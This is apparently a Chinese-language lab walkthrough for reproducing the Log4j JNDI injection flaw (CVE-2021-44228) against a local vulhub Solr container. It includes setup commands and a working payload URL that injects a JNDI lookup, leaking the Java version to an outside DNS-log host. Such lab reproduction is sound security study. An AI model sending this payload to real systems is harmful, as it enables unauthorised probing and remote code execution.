漏洞原理
Log4j 2是Apache的一个日志处理组件,在2.14.1前的版本存在JNDI注入漏洞。由于没有对日志进行充分的过滤,导致攻击者使用 ${}
关键标识符触发 JNDI 注入漏洞,当程序将用户输入的数据进行日志记录时,即可触发此漏洞,成功利用此漏洞可以在目标服务器上执行恶意代码。
环境搭建
使用vulhub
地址:https://github.com/vulhub/vulhub
cd /vulhub/log4j/CVE-2021-44228
docker-compose up -d
即可访问:http://127.0.0.1:8983/solr/#/
生成dnslog地址,如:pwq9mw.dnslog.cn
构造payload
http://127.0.0.1:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.pwq9mw.dnslog.cn}
直接访问payload
查看dnslog,已被解析,复现成功